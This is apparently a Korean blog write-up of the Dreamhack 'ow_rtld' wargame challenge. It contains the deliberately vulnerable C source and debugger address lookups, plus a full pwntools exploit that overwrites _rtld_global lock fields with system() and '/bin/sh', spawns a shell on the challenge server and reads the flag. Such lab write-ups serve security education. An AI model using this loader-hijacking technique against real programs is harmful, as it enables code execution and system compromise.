Overwrite _rtld_global

2022. 8. 15. 13:12·Wargame/Dreamhack
728x90
반응형

1. intro

 

2. code 및 분석

2.1 code

// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c

#include <stdio.h>
#include <stdlib.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  long addr;
  long data;
  int idx;

  init();

  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
        return 0;
    }
  }
  return 0;
}

2.2 분석

프로그램 실행 시 stdout 함수 주소를 출력해주며, 이후 값을 받아들여 특정 주소에 특정 값을 쓸 수 있다.

 

3. 취약점 확인 및 공격 준비

3.1 취약점

우선 해당 파일의 보호 기법을 보면 모든 보호기법이 걸려있어서 일반적인 방법으로의 exploit은 불가하다.

┌──(kali㉿kali)-[~/Downloads]
└─$ checksec ow_rtld  
[*] '/home/kali/Downloads/ow_rtld'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

다만, 코드 내에서 stdout 함수의 주소를 출력해주기에 memory leak이 가능하고, 특정 주소에 특정 값을 덮어씌울 수 있으며, return으로 종료되기에 rtld_global 구조체를 통한 exploit이 가능하다.

자세한 내용은 아래를 참고하자.

https://wyv3rn.tistory.com/103

 

rtld_global

이론 프로그램이 return 함수와 함께 종료되는 경우 main 함수는 __libc_start_main __GI_exit __run_exit_handlers _dl_fini 등의 함수를 차례로 거치며 종료되는데, 이 중 _dl_fini 코드 내에 _dl_load_lock을..

wyv3rn.tistory.com

3.2 공격 준비

우선 앞선 문제들과 마찬가지로 제공된 libc에 맞는 ld를 찾아 patchelf를 통해 링킹하자.

┌──(kali㉿kali)-[~/Downloads]
└─$ md5sum libc-2.27.so_18.04.3 
50390b2ae8aaa73c47745040f54e602f  libc-2.27.so_18.04.3
                                          
┌──(kali㉿kali)-[~/Downloads]
└─$ ls
4cb7ee61-e8cf-4bc9-995e-95afd705c8ce.zip  ld-50390b2ae8aaa73c47745040f54e602f.so.2  ow_rtld.c
Dockerfile                                libc-2.27.so_18.04.3
flag                                      ow_rtld

┌──(kali㉿kali)-[~/Downloads]
└─$ patchelf --set-interpreter ./ld-50390b2ae8aaa73c47745040f54e602f.so.2 ./ow_rtld 
                                                                                                                   
┌──(kali㉿kali)-[~/Downloads]
└─$ patchelf --replace-needed libc.so.6 ./libc-2.27.so_18.04.3 ow_rtld         
                                                                                                                   
┌──(kali㉿kali)-[~/Downloads]
└─$ ldd ow_rtld
        linux-vdso.so.1 (0x00007ffe1b19a000)
        ./libc-2.27.so_18.04.3 (0x00007f9f1e0f6000)
        ./ld-50390b2ae8aaa73c47745040f54e602f.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f9f1e6ed000)

이후 필요한 주소들을 구해보자.

...
 → 0x7ffff7de5a02                  lea    0x217f5f(%rip), %rdi        # 0x7ffff7ffd968 <_rtld_global+2312>
   0x7ffff7de5a09                  call   *0x218551(%rip)        # 0x7ffff7ffdf60 <_rtld_global+3840>
   0x7ffff7de5a0f                  mov    0x8(%rbx), %edx
   0x7ffff7de5a12                  test   %edx, %edx
   0x7ffff7de5a14                  je     0x7ffff7de59e0
   0x7ffff7de5a16                  mov    (%rbx), %rax
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ow_rtld", stopped 0x7ffff7de5a02 in ?? (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7de5a02 → lea 0x217f5f(%rip), %rdi        # 0x7ffff7ffd968 <_rtld_global+2312>
[#1] 0x7ffff7a27041 → jmp 0x7ffff7a26f69
[#2] 0x7ffff7a2713a → exit()
[#3] 0x7ffff7a05b9e → __libc_start_main()
[#4] 0x5555554006fa → _start()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
...
gef➤  p &_rtld_global
$8 = (<data variable, no debug info> *) 0x7ffff7ffd060 <_rtld_global>

즉,

_rtld_global : 0x7ffff7ffd060
_dl_rtld_lock_recursive : 0x7ffff7ffdf60
_dl_load_lock : 0x7ffff7ffd968

가 된다.

libc base는 아래와 같다.

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00555555400000 0x00555555401000 0x00000000000000 r-x /home/kali/Downloads/ow_rtld
0x00555555600000 0x00555555601000 0x00000000000000 r-- /home/kali/Downloads/ow_rtld
0x00555555601000 0x00555555602000 0x00000000001000 rw- /home/kali/Downloads/ow_rtld
0x00555555602000 0x00555555604000 0x00000000003000 rw- /home/kali/Downloads/ow_rtld
0x007ffff79e4000 0x007ffff7bcb000 0x00000000000000 r-x /home/kali/Downloads/libc-2.27.so_18.04.3
0x007ffff7bcb000 0x007ffff7dcb000 0x000000001e7000 --- /home/kali/Downloads/libc-2.27.so_18.04.3
0x007ffff7dcb000 0x007ffff7dcf000 0x000000001e7000 r-- /home/kali/Downloads/libc-2.27.so_18.04.3
0x007ffff7dcf000 0x007ffff7dd1000 0x000000001eb000 rw- /home/kali/Downloads/libc-2.27.so_18.04.3
0x007ffff7dd1000 0x007ffff7dd5000 0x00000000000000 rw- 
0x007ffff7dd5000 0x007ffff7dfc000 0x00000000000000 r-x /home/kali/Downloads/ld-50390b2ae8aaa73c47745040f54e602f.so.2                                                                                                                  
0x007ffff7ff4000 0x007ffff7ff6000 0x00000000000000 rw- 
0x007ffff7ff6000 0x007ffff7ffa000 0x00000000000000 r-- [vvar]
0x007ffff7ffa000 0x007ffff7ffc000 0x00000000000000 r-x [vdso]
0x007ffff7ffc000 0x007ffff7ffd000 0x00000000027000 r-- /home/kali/Downloads/ld-50390b2ae8aaa73c47745040f54e602f.so.2
0x007ffff7ffd000 0x007ffff7ffe000 0x00000000028000 rw- /home/kali/Downloads/ld-50390b2ae8aaa73c47745040f54e602f.so.2
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw- 
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]

그러므로 오프셋을 구해보면

gef➤  p 0x7ffff7ffd060 - 0x007ffff79e4000
$10 = 0x619060

 

 

3. exploit

위의 값을 토대로 코드를 작성해보자.

특이사항으로는 /bin/sh 문자열은 인자로 들어가기에 직접적으로 문자열을 삽입해줘야한다.

from pwn import *

p = remote('host3.dreamhack.games', 24443)
#p = process('./ow_rtld')
e = ELF('./ow_rtld')
libc = ELF('./libc-2.27.so_18.04.3')

stdout = p.recvline()[-15:-1]
base = int(stdout,16) - libc.symbols['_IO_2_1_stdout_']

rtld_global_add = base + 0x619060
lock_add = rtld_global_add + 2312
recursive_add = rtld_global_add + 3840
system_add = base + libc.symbols['system']

print('stdout add : ',stdout)
print('libc base add : ',hex(base))
print('global add : ',hex(rtld_global_add))
print('recursive add : ',hex(recursive_add))
print('lock add : ',hex(lock_add))
print('system add : ',hex(system_add))

p.sendlineafter('> ',b'1')
p.sendlineafter('addr: ',str(recursive_add))
p.sendlineafter('data: ',str(system_add))
p.sendlineafter('> ',b'1')
p.sendlineafter('addr: ',str(lock_add))
p.sendlineafter('data: ',str(u64('/bin/sh\x00')))
p.sendlineafter('> ',b'0')

p.interactive()

 

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 24443: Done
[*] '/home/kali/Downloads/ow_rtld'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/kali/Downloads/libc-2.27.so_18.04.3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
stdout add :  b'0x7f047b4d2760'
libc base add :  0x7f047b0e6000
global add :  0x7f047b6ff060
recursive add :  0x7f047b6fff60
lock add :  0x7f047b6ff968
system add :  0x7f047b135440
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/kali/Downloads/a.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter('addr: ',str(recursive_add))
/home/kali/Downloads/a.py:25: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter('data: ',str(system_add))
/home/kali/Downloads/a.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter('addr: ',str(lock_add))
/home/kali/Downloads/a.py:28: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter('data: ',str(u64('/bin/sh\x00')))
[*] Switching to interactive mode
$ id
uid=1000(ow_rtld) gid=1000(ow_rtld) groups=1000(ow_rtld)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

rtld  (0) 2022.08.15
__environ  (0) 2022.08.15
master_canary  (2) 2022.08.10
Master Canary  (0) 2022.08.07
seccomp  (0) 2022.08.07
'Wargame/Dreamhack' 카테고리의 다른 글
  • rtld
  • __environ
  • master_canary
  • Master Canary
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (500) N
      • To do list (7) N
        • Doing (1) N
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (27) N
        • Theory (15)
        • Exercise (5) N
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41) N
        • Solved (39) N
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    vtable
    x86
    la ctf
    tcache
    x64
    phoenix
    FSB
    libc
    BOF
    hackerschool
    RTL
    pwnable.kr
    rop
    32bit
    CANARY
    64bit
    cryptohack
    root
    lob
    Format String Bug
    dreamhack
    Me
    heap
    Buffer Overflow
    exploit education
    docker
    ROOT ME
    pwntools
    root-me
    _IO_FILE
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
Overwrite _rtld_global
상단으로

티스토리툴바